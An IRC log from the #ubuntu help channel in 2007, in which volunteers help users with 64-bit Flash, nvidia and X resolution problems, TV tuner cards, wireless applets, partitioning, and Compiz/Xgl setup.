[08:42] <arrenlex> epi: You're on a 64-bit ubuntu. There is no 64-bit flash.
[08:42] <unimatrix9> for example all packages that are in my apt/archives, to slipstream to an new pc?
[08:42] <pibarnas> MatthewV to be more specific:
[08:42] <epi> ...
[08:43] <MatthewV> lkthomas, i'm not sure.. to the best of my knowledge its the most popular vector graphics editor available
[08:43] <MatthewV> on linux that is
[08:43] <lkthomas> MatthewV, ok, thanks
[08:43] <MatthewV> !FixRes
[08:43] <shnastybiznastic> arrenlex: ah, that's what I thought, I'm a little aprehensive about installing the big ol' kdelibs since my root is only 13G.
[08:43] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[08:43] <epi> Os there any workaround?
[08:43] <ompaul> epi, it is not free software so it is not built by the community
[08:43] <pibarnas> MatthewV  Intel Corporation Mobile 915GM/GMS/910GML
[08:43] <arrenlex> shnastybiznastic: If you type in "sudo apt-get install amarok" it'll tell you how much space it would need to install it all. You can decide then. :)
[08:43] <ompaul> epi, install 32bit or get involved with creating "chrooted environments"
[08:44] <Athensman> anyone here have a tv tuner card
[08:44] <comodo> can anyone help me xserver crashes after installing nvidia drivers
[08:44] <unimatrix9> i had a tvcard...
[08:44] <arrenlex> epi: The easiest "workaround" is to install 32-bit instead.
[08:44] <Carsten-> comodo I have the same issue
[08:44] <MatthewV> pibarnas, intel is generally pretty well supported - intel makes open source drivers available.. maybe the above link will help
[08:44] <epi> Oh joy. Will the nvidia drivers work?
[08:44] <shnastybiznastic> arrenlex: that is a good point.  this is what I get for not being a debian user all those years.
[08:44] <arrenlex> epi: There are no tangible benefits to 64-bit anyway.
[08:44] <unimatrix9> worked well with tvtime
[08:44] <ompaul> epi the latter is a pain if you are running a desktop as a desktop and not a vast database server then 32bit is your friend
[08:44] <SplashTK> Hey, was just wondering if anyone could walk me through installing Ubuntu off the LIVE CD, I got Ubuntu Ultimate 1.3
[08:44] <Carsten-> its dam annoying
[08:44] <arrenlex> epi: The nvidia drivers will work with 64-bit.
[08:44] <octoberdan> Should I have ext3-modules installed by default?
[08:45] <Carsten-> Im not using 64 bit, using 32
[08:45] <ompaul> octoberdan, you can't not
[08:45] <Athensman> is there any where i can go to ask about tv tuner  cards???
[08:45] <epi> Aight, ill ignore the flash, any other upsets that could sway me?
[08:45] <octoberdan> grrr...
[08:45] <MatthewV> pibarnas, that site also has a section on resolution on intel cards
[08:45] <arrenlex> epi: codecs. Won't be able to play wmv, quicktime, realplayer.
[08:45] <unimatrix9> Ask here
[08:45] <Athensman> i have 100 times
[08:45] <epi> @#%!#!$#$
[08:45] <ompaul> octoberdan, ext3 is in the most basic of systems and what wsa the gurr for
[08:45] <pibarnas> MatthewV What site is that?
[08:46] <unimatrix9> whats the brand of tv card?
[08:46] <Athensman> bt878
[08:46] <Schalken> !smb
[08:46] <ubotu> Sorry, I don't know anything about smb - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:46] <ompaul> epi, you could ask before you started but you will be stronger from the experience :)
[08:46] <arrenlex> epi: You'll have big problems running Wine. Bigger than other peoples' problems running wine, that is. Hard to get windows apps set up... not sure it's even possible.
[08:46] <Carsten-> My system is not recognising my nvidia card at all, does not show in device manager, would there be any reason for this?
[08:46] <unimatrix9> and whats the problem with the tvcard?
[08:46] <ferronica> pibarnas: how to extract this one ---->>> Neu-0.6-PR3.tar.bz2.part
[08:46] <arrenlex> epi: I say again, there are no benefits to 64-bit unless you're on a server. Stick to 32-bit.
[08:46] <Athensman> i am wondering if my system sees it
[08:46] <pibarnas> epi install i386 version. Too many headaches to save in just one single act... :)
[08:46] <anirudha> arrenlex, thanks, I will try that
[08:46] <arrenlex> ferronica: You wait for it to download completely first. :)
[08:46] <epi> Ok, is there a way to change this without having to burn another damn CD? Can I upgrade to the feisty beta (if its 32bit)?
[08:47] <octoberdan> ompaul: My newly installed kernel (2.6.17-11 from ubuntu) panics with the "no syncing" "unknown block" bull. Some one suggested I didn't have the write modules for my fs
[08:47] <octoberdan> ompaul: I've been wrestling around with kernels for the past week
[08:47] <pibarnas> ferronica it isn't complate... did you see it?
[08:47] <anirudha> btw is there a disk defragment program on ubuntu
[08:47] <unimatrix9> tvcard : i will give you an url to read http://www.tldp.org/HOWTO/BTTV/modprobe.html
[08:47] <pibarnas> ferronica it is just a ... part! :)
[08:47] <ferronica> pibarnas: Oh yes yes
[08:47] <arrenlex> anirudha: Not needed. ext3 doesn't frag very much.
[08:48] <unimatrix9> tvcard, you can also use dmesg on terminal
[08:48] <unimatrix9> to see if its listed there
[08:48] <MatthewV> anirudha, no, disk defrag is generally not needed on linux
[08:48] <rredd4> anirudha  not need for linux!!  only windoze
[08:48] <shnastybiznastic> arrenlex: that's not much space at all!  Color me impressed!
[08:48] <arrenlex> shnastybiznastic: How much?
[08:48] <maxx18> hi does anyone know if beryl is in the universe repos yet?
[08:48] <Athensman> that site isnt loading
[08:49] <maxx18> or is it only in feisty and not edgy?
[08:49] <pibarnas> epi I wish I could help you, but I really don't know... to be sincere, I think you can't turn 64 bits to 32 one without reinstalling it.
[08:49] <shnastybiznastic> arrenlex: like two hundred megs or some such number.
[08:49] <arrenlex> shnastybiznastic: Whoa... that's a lot. 0_0
[08:49] <defrysk> maxx18, it is in Feisty yes
[08:49] <bicycledaave> hi,all I lost wireless support after upgrade to feisty. I have an Atheros wireless card that works fine with dapper and edgy, but under feisty, although lspci and lsmod show that the card is recognized and the ath-* modules are loaded, I just do not have the ath device when iwconfig or ifconfig. why?
[08:49] <pibarnas> epi I'm here with a 64 bits system, but ubuntu i386... I know about headaches... :)
[08:50] <arrenlex> maxx18: beryl is in feisty. compiz is in edgy if you want to try.
[08:50] <unimatrix9> Athensman install tvtime , sudo apt-get install tvtime
[08:50] <Athensman> i have it
[08:50] <Athensman> when i click it
[08:50] <Athensman> it does nothing
[08:50] <Athensman> flash black then nothjng
[08:50] <shnastybiznastic> arrenlex: I'm used to the slackware package management system, where you have to install most of kde to get amarok running (~3GB)
[08:50] <maxx18> ok thanks for clearing that up guys
[08:50] <ompaul> octoberdan, you may have run into a bug, check launchpad to see if it is registered
[08:50] <unimatrix9> ok try the site again http://www.tldp.org/HOWTO/BTTV/modprobe.html
[08:50] <ompaul> octoberdan, are you on edgy?
[08:50] <rredd4> bicycledaave  you wanna borrow my netgear card?   lol
[08:51] <arrenlex> shnastybiznastic: WTF! The whole of kde doesn't take 3GB. I run kde as a desktop and my root is only 4GB in total!
[08:51] <Athensman> i am there
[08:51] <octoberdan> ompaul: Yes
[08:51] <Athensman> what am i looking for
[08:51] <unimatrix9> ok coo;
[08:51] <bicycledaave> rredd4:could I :)
[08:51] <unimatrix9> the modprobe wich you might need to do...
[08:51] <ompaul> octoberdan, well the presense of ext3 is part of the base install
[08:51] <rredd4> lol
[08:51] <shnastybiznastic> arrenlex: this is including the downloaded packages themselves.
[08:51] <unimatrix9> just read the whole lot, and see if it helps..
[08:51] <ompaul> octoberdan, and with that I must run
[08:51] <Athensman> i dont understand
[08:52] <ferronica> pibarnas: Ok worked
[08:52] <octoberdan> ompaul: Thanks for the info. Take care
[08:52] <shnastybiznastic> arrenlex: my last look at /opt/kde was something like 1.4 GB.
[08:52] <ferronica> pibarnas: Which theme do you use ???
[08:52] <arrenlex> shnastybiznastic: Correction: my root is 3.3gb. xD
[08:52] <pibarnas> ferronica like that one?
[08:52] <arrenlex> shnastybiznastic: Anyway, enjoy amarok.
[08:52] <shnastybiznastic> arrenlex: that sounds like my laptop
[08:52] <ferronica> pibarnas: which One
[08:52] <pibarnas> ferronica I use gilouche theme with clear-alternative in metacity.
[08:53] <morgWork> tada- if anyone wants to leave feedback, I'd be greatful: http://morgajel.net/2007/03/24/112/
[08:53] <pibarnas> ferronica I'll send u a screenshot in 1 min, ok?
[08:54] <lkthomas> MatthewV, hmm
[08:54] <bicycledaave> The wireless card is recognized, but I don't have the ath0 device, could it be something wrong with the config files after upgrading?
[08:54] <lkthomas> MatthewV, corel draw file can't open ?
[08:55] <ferronica> pibarnas: Okay
[08:55] <unimatrix9> Athensman : your card seems to have some troubles to setu...
[08:56] <|GaiJin|> How can I make my LCD-monitor go higher than 1024x768... I have tried the Fix, but didn't seem to work... Might it be becaue I had to comment the BusID line in the driver section of xorg.conf??
[08:56] <Carsten-> guys im using 6.10 386 version, when i attempt to install my nvidia drivers, they install ok but as soon as i activate them X will not start again, any reason for this anyone knows of?
[08:56] <arrenlex> !fixres | |GaiJin|
[08:56] <MatthewV> lkthomas, in inkscape?
[08:56] <MonaLeilani> sup
[08:56] <ubotu> |GaiJin|: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[08:56] <Athensman> i dont understand
[08:56] <|GaiJin|> arrenlex, been through that...
[08:56] <Athensman> is there any where i can go to ask about tv tuner  cards???
[08:56] <arrenlex> Carsten-: What error message?
[08:56] <lkthomas> MatthewV, gimp and inkscape too
[08:56] <arrenlex> |GaiJin|: And what happened?
[08:56] <MonaLeilani> I have Ubuntu and Windows on the same hard drive, how do I baleted Windows without messing up Ubuntu?
[08:56] <unimatrix9> Athensman : i am looking around to find an answer...
[08:56] <|GaiJin|> 1024....
[08:57] <|GaiJin|> still in 1024
[08:57] <SurfnKid> MonaLeilani: baleted? or deleted
[08:57] <unimatrix9> Athensman : open terminal
[08:57] <Athensman> ok
[08:57] <arrenlex> |GaiJin|: Pastebin /var/log/Xorg.0.log please.
[08:57] <MatthewV> lkthomas, inkscape has some things about that at http://wiki.inkscape.org/wiki/index.php/FAQ#What_formats_can_Inkscape_import.2Fexport.3F
[08:57] <MonaLeilani> baleted is the awesome way to say deleted
[08:57] <arrenlex> Go homestar.
[08:57] <bicycledaave> what's that feisty support channel?
[08:57] <unimatrix9> Athensman : type dmesg | grep bttv
[08:57] <arrenlex> bicycledaave: #ubuntu+1
[08:57] <bicycledaave> arrenlex:thanks
[08:58] <unimatrix9> Athensman : does it list?
[08:58] <Carsten-> there was like 20 of them I didnt write them down, but it doesnt seem to be detecting my video card when i look in device manager its never there
[08:58] <MonaLeilani> I <3 Ubuntu and windows is taking up precious hd space
[08:58] <mhemu> i installed gnome network manager to get my wireless going and it somehow got removed from my taskbar, basically rendering it useless. Any ideas how to get it back up? removing it and installing it again didn't do the trick
[08:58] <Athensman> bt8xx card found
[08:58] <unimatrix9> Athensman : so its detected
[08:58] <arrenlex> Carsten-: Change to nvidia, then try to start X. When it fails, log in from the command line and copy your /var/log/Xorg.0.log file to your home directory. Change back, start X, and pastebin it.
[08:58] <Athensman> so nw what
[08:59] <pibarnas> ferronica http://www.flickr.com/photo_zoom.gne?id=432162929&size=o
[08:59] <MonaLeilani> though that had a legit authentication code.. Maybe should log back on and retrieve it before I balete it
[08:59] <shnastybiznastic> hey arrenlex, I gots another question...
[08:59] <arrenlex> shnastybiznastic: Mmm?
[08:59] <unimatrix9> Athensman : well i dont have the time to go into it, but i hope you can read some german : http://wiki.ubuntuusers.de/BT878
[08:59] <pibarnas> ferronica got it?
[09:00] <epi> Things like Flash player aren't 64-bit yet, so I suggest that you install Mozilla's 32-bit binary Firefox from their website. That has solved about every problem with 64-bit-ness I have seen. Plus, 64-bit supports more memory and is generally faster at doing things like encoding and compiling. I'll not turn away a roughly 10% speed increase.
[09:00] <Athensman> vvery funny
[09:00] <variant> #ubuntu should have a web interface
[09:00] <epi> "and so god smiled upon epi"
[09:00] <|GaiJin|> arrenlex, http://paste.ubuntu-nl.org/11818/
[09:00] <shnastybiznastic> arrenlex: how can I get middleclicking the maximize button to do a vertical maximize?  do I need to go to kde or fluxbox?  can gnome just not do it?
[09:00] <MatthewV> variant, there's always CGI:IRC
[09:00] <Athensman> so u cant help me no more
[09:00] <pibarnas> shnastybiznastic flux rockz! :)
[09:00] <unimatrix9> Athensman : you could also try to install xawtv...
[09:01] <variant> MatthewV: thats what I was refering to, ubuntu should have a cgi:irc interface
[09:01] <Athensman> hwo do i do that
[09:01] <arrenlex> epi: There's no 10% increase. The benefit of 64-bit is that it increases the amount of RAM you can address. For a desktop application, this is not important. It comes out in encoding, rendering, compiling and these things. But you won't notice anything except compatibility problems on a desktop.
[09:01] <unimatrix9> by the way did you configure it in tvtime?
[09:01] <mhemu> can anyone give me a hand with gnome network manager???
[09:01] <variant> MatthewV: would take a lot of bandwidth though, and this channel is busy enough as it is
[09:01] <Athensman> !xawtv
[09:01] <ubotu> xawtv: X11 TV application. In component universe, is extra. Version 3.95-4ubuntu1 (edgy), package size 227 kB, installed size 656 kB
[09:01] <os1ris> anyone know where ndiswrapper's home dir is
[09:01] <os1ris> not in /etc
[09:01] <arrenlex> shnastybiznastic: Heck if I know, I don't run gnome. I know where to configure that in KDE...
[09:01] <epi> Im determined to avoid another blanket install.
[09:02] <Athensman> and where do i find it
[09:02] <unimatrix9> the tvtime menu when it starts...
[09:02] <Athensman> it will not start
[09:02] <arrenlex> |GaiJin|: And pastebin /etc/X11/xorg.conf
[09:02] <os1ris> anyone know where ndiswrapper's home dir is
[09:02] <Athensman> that is what i am telling you
[09:02] <epi> At least for a week. Ive spent 8 hours, and have yet to sleep, BECAUSE, ubuntu deemed sata Raid support to be un-worthy of including on the live CD.
[09:02] <Athensman> it will not load
[09:02] <Athensman> i click ity
[09:02] <shnastybiznastic> arrenlex: I'm quickly remembering why I didn't enjoy that dropline installation I had a while ago :/
[09:02] <epi> On the plus side, Ive learned a hell of a lot...on the other hand...im tired.
[09:02] <Athensman> and it goes to black real quick and then nothing
[09:03] <arrenlex> shnastybiznastic: Pardon? Dropline?
[09:03] <MatthewV> os1ris, in linux apps do not have a home dir... config is often stored in /etc, per user config in ~/ files in /usr etc
[09:03] <mhemu> i installed gnome network manager to get my wireless going and it somehow got removed from my taskbar, basically rendering it useless. Any ideas how to get it back up? removing it and installing it again didn't do the trick
[09:03] <MatthewV> mhemu, the command to get it back in the taskbar is nmapplet
[09:03] <shnastybiznastic> arrenlex: dropline is a gnome package for slackware, because the default gnome on slackware is a bit lacking (and recently, not there)
[09:03] <os1ris> well i installed ndiswrapper looking for where to put the files for diever
[09:03] <pibarnas> epi well you can take some rest.
[09:03] <os1ris> hehe
[09:04] <arrenlex> shnastybiznastic: Slackware doesn't sound fun.
[09:04] <|GaiJin|> arrenlex, http://paste.ubuntu-nl.org/11819/
[09:04] <MonaLeilani> if I just delete the windows partition, will ubuntu be fine
[09:04] <mhemu> MatthewV, that will work in the add custom applet to the taskbar?
[09:04] <MonaLeilani> and what do i need to do to make ubuntu take up that extra space
[09:04] <epi> I think ill keep at it.
[09:04] <SplashTK> Hey, was wondering if someone could give me a quick hand with GParted
[09:04] <MatthewV> mhemu, if you hit Alt-F2, then type in 'nmapplet' and hit enter that should do it
[09:04] <unimatrix9> apt-get install xawtv
[09:04] <MatthewV> SplashTK, no probs, what is the problem?
[09:04] <Athensman> what
[09:04] <arrenlex> |GaiJin|: wtf is 1200x1024. Do you mean 1280x1024?
[09:05] <pibarnas> shnastybiznastic Slack's very good... but you must have time to have a deep learning...
[09:05] <|GaiJin|> DOH
[09:05] <mhemu> MatthewV, no dice, says it's not found
[09:05] <SplashTK> MatthewV, Okay well I am installing off the livecd at the moment and upto the gparted thing cause I wanna make my own size right, but not sure how
[09:05] <os1ris> i cant find the root dir for ndiswrapper where it installed anyone know .. so i can thow my drivers in it
[09:06] <SplashTK> MatthewV, I clicked resize partition, and not sure if I should be looking at the new size or free space following section
[09:06] <variant> epi: http://en.wikipedia.org/wiki/64-bit#Pros_and_cons read
[09:06] <mhemu> MatthewV, is nmapplet found in some place special?
[09:06] <pibarnas> epi what's the matter after all, pal?
[09:06] <MatthewV> SplashTK, so at the moment you just have all hdd taken by windows?
[09:06] <|GaiJin|> arrenlex, Can you see anything else wrong while you look at it... Example... the Bus line in the driver section?
[09:06] <Athensman> god why didnt i stay with windows
[09:06] <shnastybiznastic> arrenlex: it's very fun, but also unforgiving if you arent prepared.  Kind of like base diving
[09:06] <arrenlex> |GaiJin|: If it launched, nothing else is wrong.
[09:06] <SplashTK> MatthewV, Yeah I have windows installed, and want to dual boot, and I want to give linux 15 GB
[09:06] <|GaiJin|> trying then
[09:06] <os1ris> i cant find the root dir for ndiswrapper where it installed anyone know .. so i can thow my drivers in it
[09:07] <arrenlex> shnastybiznastic: Er, base diving?
[09:07] <pibarnas> Athensman Cause you're a clever guy...
[09:07] <MonaLeilani> I want to delete windows
[09:07] <MonaLeilani> yet noone is helping me :D
[09:07] <pibarnas> windows?? what's it?
[09:07] <shnastybiznastic> arrenlex: base jumping
[09:07] <arrenlex> shnastybiznastic: Er, base jumping?
[09:07] <MonaLeilani> some irritating thing taking up space on my hd
[09:07] <os1ris> yea delete i installed kubuntu never been happier
[09:07] <unimatrix9> how would i install several .deb files at once?
[09:07] <MatthewV> SplashTK, ok, go to where you resize the windows partition, then set free space following to 15GB (15000MB)
[09:07] <pibarnas> MonaLeilani what's the matter?
[09:07] <unimatrix9> or create an meta package?
[09:07] <MonaLeilani> I want to get rid of windows
[09:08] <MonaLeilani> I have a dual boot system, ubuntu and windows
[09:08] <Athensman> well linux sucks
[09:08] <epi> Eh? Sorry if it came across as rude, I was close to total melt down twice already tonight, finding the live CD didnt come with raid1 support was a killer. Took me ages to sort it out, im not arguing about the advantages of 64bit etc, im new enough and dont know enough to refute you. I just dont want to reinstall this thing again.
[09:08] <epl> MonaLeilani: usually you should be fine
[09:08] <pibarnas> MonaLeilani I've done it 5 years ago.
[09:08] <Athensman> this is s stupid os
[09:08] <os1ris> how can u search whole system to find a dir...
[09:08] <SplashTK> MatthewV, Okay, then hit next?
[09:08] <MatthewV> mhemu, try installing network-manager-gnome
[09:08] <MonaLeilani> windows takes up too much space, and i don't need it
[09:08] <MatthewV> yep
[09:08] <|GaiJin|> arrenlex, thanks
[09:08] <mhemu> MatthewV, it is already installed
[09:08] <SplashTK> MatthewV, well resize
[09:08] <arrenlex> |GaiJin|: Got your resolution now?
[09:08] <|GaiJin|> aye... prefect...
[09:08] <os1ris> i would go download the live cd
[09:09] <epl> MonaLeilani: just change the partition type and reformat
[09:09] <Athensman> hwo can you guys enjoy this crappy os
[09:09] <os1ris> dont even need to install u get to try it with no commitment
[09:09] <pibarnas> Athensman why don't you just deinstall linuxm, then?
[09:09] <epl> MonaLeilani: shouldnt cause any problems
[09:09] <arrenlex> |GaiJin|: yw. :) In the future, remember this important fact: 8 != 0
[09:09] <MonaLeilani> just not sure how to add that empty space
[09:09] <MatthewV> SplashTK, so the graphical bar thing now shows 15GB of unallocated space after the windows partition?
[09:09] <bonez56> hi, can someone please take a look at this problem i am having installing xgl+compiz? http://paste.ubuntu-nl.org/11820/
[09:09] <unimatrix9> Athensman, dont give up so soon...
[09:09] <arrenlex> Athensman: Don't troll. If you don't like it, don't use it.
[09:09] <os1ris> how can u search whole system to specified dire?
[09:09] <os1ris> !find
[09:09] <|GaiJin|> arrenlex, I kinda knew... but I missed it going through the logs myself...
[09:09] <ubotu> Sorry, I don't know anything about find - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:09] <SplashTK> MatthewV, Yep
[09:09] <os1ris> !search
[09:09] <Athensman> unimatrix9,  why not
[09:09] <MonaLeilani> i'm new to linux, it might freak out that the disk size is bigger than it was and I didn't change something in the settings to account for it?
[09:10] <ubotu> Sorry, I don't know anything about search - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:10] <Athensman> nothing is working for me
[09:10] <mhemu> MatthewV, it is installed and running correctly, the app just doesn't show up in the taskbar, which makes me unable to connect to the various wireless AP's that I need to
[09:10] <lightstar> ubotu: nvraid
[09:10] <ubotu> Sorry, I don't know anything about nvraid - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:10] <arrenlex> |GaiJin|: Line 477: (WW) NVIDIA(0): No valid modes for "1200x1024"; removing.
[09:10] <arrenlex> |GaiJin|: :)
[09:10] <MatthewV> mhemu, yep i get you... just taking a look now
[09:10] <anirudha> Hi I just installed kubuntu using the sudo command in terminal. Does anyone know if and how I can uninstall the kubuntu session? It is very slow on my computer and I wish to keep ubuntu only.
[09:10] <epl> MonaLeilani: no why?
[09:10] <MatthewV> mhemu, try 'nm-applet' sorry
[09:10] <MatthewV> note dash
[09:10] <lightstar> hi, anyone got their RAID setup working without any hitch using dmraid on edgy?
[09:10] <arrenlex> |GaiJin|: Whenever you run into X problems, just grep EE /var/log/Xorg.0.log. If that doesn't help, grep WW.
[09:10] <os1ris> anyone remember the cli command.. to search whole system for " specified" dir
[09:10] <bonez56> hi, can someone please take a look at this problem i am having installing xgl+compiz? http://paste.ubuntu-nl.org/11820/
[09:11] <pibarnas> ferronica, like it?
[09:11] <mhemu> MatthewV, if it helps, the battery monitor is gone now too, along with the standard seperator between the right side items like the shutdown button and time
[09:11] <epl> MonaLeilani: your not changing the disk  size (how could you?)
[09:11] <|GaiJin|> arrenlex, thanks for the tip
[09:11] <MatthewV> mhemu, ah....
[09:11] <Athensman> unimatrix9,  well????
[09:11] <MonaLeilani> that's what I'm asking, will adding that space to ubuntu's partition cause it to freak out?
[09:11] <arrenlex> anirudha: What command did you use to install?
[09:11] <MatthewV> try right-clicking on the panel, and adding a notification area
[09:11] <MonaLeilani> or should I just leave it its own partition but make it reiser
[09:11] <epl> MonaLeilani: you are just removing data from a partition that linux doesnt really know anything about
[09:11] <epl> MonaLeilani: since it is your windows partition
[09:11] <epl> MonaLeilani: oh
[09:12] <bonez56> hi, can someone please take a look at this problem i am having installing xgl+compiz? http://paste.ubuntu-nl.org/11820/
[09:12] <Athensman> where can u get help
[09:12] <pdude> anyone know of a a good plug-in for firefox that runs wav and common video files?
[09:12] <bonez56> can anyone help me with my xgl problem??
[09:12] <epl> MonaLeilani: well if you intend to resize your linux partition to include the space from your old windows partition you should be careful and probably backup your important data before you do it
[09:12] <Athensman> no one can help you
[09:12] <shnastybiznastic> that was weird
[09:12] <SilentDis> bonez56: checking out the pastebin now.  give me a moment, got a lot running here :)
[09:12] <arrenlex> bonez56: You added third-party repositories, which messed up your system.
[09:12] <MonaLeilani> okay
[09:12] <mhemu> MatthewV, that did it, thanks!! did i inadvertantly do something that I can avoid in the future??
[09:13] <arrenlex> bonez56: Don't add third-party repositories.
[09:13] <bonez56> arrenlex, i followed the guide at ubuntuguide.org
[09:13] <arrenlex> bonez56: You installed compiz from two different sources which packaged it differently.
[09:13] <arrenlex> bonez56: Link?
[09:13] <bonez56> arrenlex, 2 secs
[09:13] <anirudha> arrenlex, hi, I used  sudo aptitude install kubuntu-desktop
[09:13] <MatthewV> mhemu, you probably removed the notification area applet, which is what displays the icons from nm-applet, gaim etc
[09:13] <epl> MonaLeilani: but other than that it shouldnt be a problem, you dont need to specify the size of the partition for linux to boot or anything
[09:13] <arrenlex> anirudha: Perfect. sudo aptitude remove kubuntu-desktop
[09:13] <unimatrix9> Athensman, did you install xawtv ?
[09:13] <bonez56> arrenlex, http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_install_Xgl.2FCompiz_.28NVIDIA.29
[09:13] <MonaLeilani> does ubuntu have a gui disk management tool or something like that or does it need to be command line
[09:13] <anirudha> arrenlex, oh! thanks!
[09:13] <shnastybiznastic> I accidentally ctrl-alt-F1ed over to tty1 and when I tried to go back to F7 the whole thing froze
[09:14] <epl> MonaLeilani: just make sure that /etc/fstab is correct
[09:14] <mhemu> MatthewV, gotcha. thanks so much, about to get on a plane and thought i screwed myself! have a good night!
[09:14] <unimatrix9> sudo apt-get install xawtv
[09:14] <Athensman> unimatrix9,  well????
[09:14] <unimatrix9> ?
[09:14] <Athensman> dude
[09:14] <MatthewV> mhemu, not a problem :)
[09:14] <Athensman> i cannot find it
[09:14] <epl> MonaLeilani: im not that used to gui tools but i think there is something called gparted
[09:14] <epi> Damn it :|
[09:14] <SplashTK> MatthewV, said 0 of 1 operations completed, something about checking filessytem, it's ntfs
[09:14] <MonaLeilani> okay, I'll check it out
[09:14] <pibarnas> shnastybiznastic thanks to nvidia driver, I suppose...
[09:14] <arrenlex> bonez56: wtf... why would you install XGL on nvidia?!
[09:14] <unimatrix9> hmm, you are really new to this eh?
[09:14] <Athensman> no shit
[09:14] <osofast> hey
[09:14] <bonez56> arrenlex, i dunno... is beryl better?
[09:15] <os1ris> can anyone pleaseee.. help me with nidswrapper.. says to copy files over to directory... its not /etc/ndiswrapper ... any help pleasee :(
[09:15] <MatthewV> SplashTK, yeh, so you pressed apply?
[09:15] <arrenlex> bonez56: That's a different thing.
[09:15] <MonaLeilani> I really <3 ubuntu
[09:15] <unimatrix9> Athensman,  go to system / synaptic
[09:15] <bonez56> arrenlex, i just want some eye candy :)
[09:15] <shnastybiznastic> pibarnas: I have a 9800 pro? xD
[09:15] <osofast> im having a problem turning off my touchpad when im typing
[09:15] <MonaLeilani> I installed it last night, everything works like a charm
[09:15] <os1ris> i love kubuntu heh
[09:15] <unimatrix9> Athensman,  package manager..
[09:15] <pibarnas> shnastybiznastic what's it?
[09:15] <SplashTK> MatthewV, yeah it didn't do it had an error, said something about filesystem
[09:15] <os1ris> some please help me im getting fustrated
[09:15] <arrenlex> bonez56: xgl and aiglx are the compositing servers which allow compiz and beryl to run. You can use compiz+xgl, compiz+aiglx, beryl+xgl, or beryl+aiglx. Whatever your heart desires.
[09:15] <MonaLeilani> my external usb hd always made my windows system hang and it always took about 50 seconds before I could read its contents
[09:15] <MonaLeilani> now, instant access to files, no hang
[09:15] <MatthewV> SplashTK, oh.. what was the error?
[09:15] <bonez56> arrenlex, ok thanks
[09:15] <arrenlex> bonez56: aiglx is better because it allows apps to still be 3D accelerated themselves. xgl doesn't.
[09:16] <ferronica> pibarnas: How to install system sound????
[09:16] <osofast> how do i turn off my touchpad when im typing?
[09:16] <arrenlex> bonez56: You really should be using aiglx with nvidia. xgl is for ati, which supports nothing else.
[09:16] <shnastybiznastic> pibarnas: old ATI card
[09:16] <os1ris> can anyone pleaseee.. help me with nidswrapper.. says to copy files over to directory... its not /etc/ndiswrapper ... any help pleasee :(
[09:16] <SplashTK> MatthewV, sorry closed it but it said something about checking file system on /hda/ or something
[09:16] <unimatrix9> Athensman,  then settings and package sources...
[09:16] <bonez56> arrenlex, ok i'll read up a bit more on what they all do.. cheres
[09:16] <arrenlex> bonez56: I take it you have an nvidia card?
[09:16] <ferronica> pibarnas: How to install system sound???? ?
[09:16] <MatthewV> SplashTK, that isnt an error... thats just telling you what its doing..
[09:16] <pibarnas> shnastybiznastic oh... it only happens to me with beryl+nvidia... don't know why...
[09:16] <unimatrix9> Athensman,  then select them all and reload the manager
[09:16] <anirudha> any of you use other linux flavors ?
[09:16] <Athensman> i dont see package sources
[09:16] <bonez56> arrenlex, yes correct
[09:16] <os1ris> i do
[09:16] <kissake> I'm having trouble booting the Ubuntu install/live CD for my platform (x86-64).  I don't get past the progress bar(s) using 7.04, 6.10, or 6.06.  Any help appreciated (obviously :) )
[09:17] <epl> MonaLeilani: I would think twice about removing windows though... I have been using Linux almost exclusively for 11 years but I still need windows from time to time (or word, excel, powerpoint actually)
[09:17] <asdfjlk> osofast - it should turn off automaticlly. I'm not sure how to figure it.
[09:17] <arrenlex> bonez56: You shouldn't need to do anything more than apt-get install compiz, then. As long as you have drivers.
[09:17] <anirudha> Does everyone prefer ubuntu over all other linux flavors?
[09:17] <MatthewV> SplashTK, oh and i should give you a disclaimer first - it aint my prob if you wreck something and make sure you've backed up first ;)
[09:17] <SplashTK> MatthewV, oh, so when that comes up go to the next page
[09:17] <bonez56> arrenlex, what will that give me?
[09:17] <MonaLeilani> pffft. openoffice ;P
[09:17] <pibarnas> ferronica I think it may be already installed? Maybe making sound volume louder?
[09:17] <SplashTK> MatthewV, Yep ;)
[09:17] <ferronica> pibarnas: How to install system sound????
[09:17] <unimatrix9> !repositories
[09:17] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[09:17] <arrenlex> bonez56: Compiz on aiglx.
[09:17] <Athensman> select them all??
[09:17] <unimatrix9> yes all
[09:17] <Athensman> what are you talking about
[09:17] <MonaLeilani> I didn't even have MS office on windows, i just used openoffice
[09:17] <bonez56> arrenlex, i can't get of this error that keeps coming up telling me to do apt-get install -f
[09:17] <vladko> or using crossover office - and you should be fine
[09:17] <unimatrix9> and reload
[09:17] <epl> MonaLeilani: yeah, but not all powerpoint presentations or excel documents works flawless in openoffice..
[09:18] <ferronica> pibarnas: I have downloded
[09:18] <unimatrix9> after that search for xawtv
[09:18] <MatthewV> SplashTK, no it should say 0 of 1 operations complete - checking filesystem ... wait until it says all operations complete, that means that its done
[09:18] <MonaLeilani> This is just my laptop, I do have a pc with windows on it
[09:18] <pibarnas> ferronica what?
[09:18] <unimatrix9> and install it..
[09:18] <ferronica> pibarnas: 53952-just-sounds.tar.bz2
[09:18] <vladko> some macros dont work in OO
[09:18] <arrenlex> bonez56: Could you please show me the output of: grep -v "#" /etc/apt/sources.list | grep -v ^$
[09:18] <epl> MonaLeilani: well then.. :)
[09:18] <Carsten-> i just lost my x config for the 10th time today can someonme please tell me how to get my old good config back with a re-install
[09:18] <asdfjlk> osofast - there is also usualy a combination of "fn" + "F?" that turns it off until you press it again
[09:18] <SplashTK> k
[09:18] <ferronica> pibarnas: from here ---->>>http://www.gnome-look.org/content/show.php/Just+Sounds+%3A%29?content=53952
[09:18] <pibarnas> ferronica I really don't know what it is.
[09:18] <MonaLeilani> maybe i'll drastically shrink the windows partition and uninstall a ton of stuff and add the rest to my ubuntu
[09:18] <pibarnas> ferronica I'll see it, wait a min.
